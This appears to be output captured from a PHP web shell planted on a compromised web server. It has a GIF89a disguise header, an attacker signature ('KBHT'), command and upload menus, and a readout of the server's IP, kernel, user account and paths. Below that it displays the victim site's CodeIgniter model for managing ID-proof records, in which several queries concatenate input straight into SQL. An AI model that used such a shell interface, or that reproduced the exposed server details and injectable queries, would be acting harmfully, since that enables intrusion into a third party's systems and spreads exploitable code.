GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.135.184.195
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../grievance/../cas/application/models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../grievance/../cas/application/models/admin/IDProofManagement.php
<?php

/**
 * Model For Handling All DB Operations Related To Leave
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class IDProofManagement extends CI_Model {

    function createNewIDProofType(array $newIDProofInfo) {
        $this->db->insert('tbl_id_proof_master', $newIDProofInfo);
        return $this->db->insert_id();
    }

    function getAllIDProofs() {
        $this->db->select("TIPM.tipm_id,TIPM.tipm_name,TIPM.tipm_short_name,TIPM.tipm_code,TIPM.tipm_proof_type tipm_proof_type_flag,FLAG_DECODER('ID_PROOF_TYPE',TIPM.tipm_proof_type) tipm_proof_type,"
                . "TIPM.tipm_active_status,TIPM.tipm_delete_status,TIPM.tipm_added_by,TIPM.tipm_added_on,TIPM.tipm_updated_by,TIPM.tipm_updated_on,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('tbl_id_proof_master TIPM');
        $this->db->join('tbl_staff_members TSMA', 'TIPM.tipm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'TIPM.tipm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("TIPM.tipm_updated_on", "desc");
        return $this->db->get();
    }

    function getIDProofBy($tipm_id) {
        $this->db->select("TIPM.tipm_id,TIPM.tipm_name,TIPM.tipm_short_name,TIPM.tipm_code,TIPM.tipm_proof_type tipm_proof_type_flag,FLAG_DECODER('ID_PROOF_TYPE',TIPM.tipm_proof_type) tipm_proof_type,"
                . "TIPM.tipm_active_status,TIPM.tipm_delete_status,TIPM.tipm_added_by,TIPM.tipm_added_on,TIPM.tipm_updated_by,TIPM.tipm_updated_on,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('tbl_id_proof_master TIPM');
        $this->db->join('tbl_staff_members TSMA', 'TIPM.tipm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'TIPM.tipm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where('TIPM.tipm_id', $tipm_id);
        return $this->db->get();
    }

    function getIDProofByName($id_proof_name) {
        $this->db->select('*');
        $this->db->from('tbl_id_proof_master');
        $this->db->where('tipm_name', $id_proof_name);
        return $this->db->get();
    }

    function getIDProofByShortName($id_proof_short_name) {
        $this->db->select('*');
        $this->db->from('tbl_id_proof_master');
        $this->db->where('tipm_short_name', $id_proof_short_name);
        return $this->db->get();
    }

    function getIDProofByCode($id_proof_code) {
        $this->db->select('*');
        $this->db->from('tbl_id_proof_master');
        $this->db->where('tipm_code', $id_proof_code);
        return $this->db->get();
    }

    function isIDProofNameSafeUpdate($tipm_id, $id_proof_name) {
        $this->db->select("*");
        $this->db->from('tbl_id_proof_master');
        $this->db->where('tipm_name', $id_proof_name);
        $this->db->where('tipm_id != ' . $tipm_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function isIDProofShortNameSafeUpdate($tipm_id, $id_proof_short_name) {
        $this->db->select("*");
        $this->db->from('tbl_id_proof_master');
        $this->db->where('tipm_short_name', $id_proof_short_name);
        $this->db->where('tipm_id != ' . $tipm_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function isIDProofCodeSafeUpdate($tipm_id, $id_proof_code) {
        $this->db->select("*");
        $this->db->from('tbl_id_proof_master');
        $this->db->where('tipm_code', $id_proof_code);
        $this->db->where('tipm_id != ' . $tipm_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function updateIDProofTypeInfo(array $idProofUpdatedInfo) {
        $this->db->where('tipm_id', $idProofUpdatedInfo['tipm_id']);
        return $this->db->update('tbl_id_proof_master', $idProofUpdatedInfo);
    }

    /* Functions For Sub-Id Proof */

    function createNewSubIDProofTypeMulti(array $newSubIDProofInfoBatch) {
        $this->db->insert_batch('tbl_id_proof_sub_master', $newSubIDProofInfoBatch);
        return $this->db->insert_id();
    }

    function getAllSubIDProofsBy($tipm_id) {
        $this->db->select("TIPSM.tipsm_id,TIPSM.tipsm_for tipsm_for_flag,TIPSM.tipsm_for,TIPSM.tipm_id,"
                . "TIPSM.tipsm_active_status,TIPSM.tipsm_added_by,TIPSM.tipsm_added_on,TIPSM.tipsm_updated_by,TIPSM.tipsm_updated_on,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('tbl_id_proof_sub_master TIPSM');
        $this->db->join('tbl_staff_members TSMA', 'TIPSM.tipsm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'TIPSM.tipsm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("TIPSM.tipm_id", $tipm_id);
        return $this->db->get();
    }

    function deleteSubIDProofMappingBy($tipm_id) {
        $this->db->where("tipm_id", $tipm_id);
        $this->db->delete('tbl_id_proof_sub_master');
    }

    /* Function For Combined Data (Id Proof & Sub-Id Proof) */

    function getIDProofAndSubIdProofInfoBy($idProofCode, $idProofFor) {
        $this->db->select("*");
        $this->db->from('tbl_id_proof_master TIPM');
        $this->db->join('tbl_id_proof_sub_master TIPSM', 'TIPSM.tipm_id = TIPM.tipm_id');
        $this->db->where("TIPM.tipm_code", $idProofCode);
        $this->db->where("TIPSM.tipsm_for = '" . $idProofFor . "'");
        return $this->db->get();
    }

    /* Functions For Id-Proof Info */

    function createNewIDProofInfo(array $newIDProofInfo) {
        $this->db->insert('tbl_id_proof_info', $newIDProofInfo);
        return $this->db->insert_id();
    }

    function createNewIDProofInfoMulti(array $newIdProofInfoBatch) {
        $this->db->insert_batch('tbl_id_proof_info', $newIdProofInfoBatch);
        return $this->db->insert_id();
    }

    function getIdProofInfoBy($tipi_for, $sub_id_proof_id) {
        $this->db->select("*");
        $this->db->from('tbl_id_proof_info TIPI');
        $this->db->where("TIPI.tipsm_id", $sub_id_proof_id);
        $this->db->where("TIPI.tipi_for", $tipi_for);
        return $this->db->get();
    }

    function updateIDProofInfoMulti(array $idProofUpdatedInfoBulk) {
        return $this->db->update_batch('tbl_id_proof_info', $idProofUpdatedInfoBulk, 'tipi_id');
    }

    function updateIDProofInfo(array $idProofUpdatedInfo) {
        $this->db->where('tipi_id', $idProofUpdatedInfo['tipi_id']);
        return $this->db->update('tbl_id_proof_info', $idProofUpdatedInfo);
    }

}

KBHT - 2023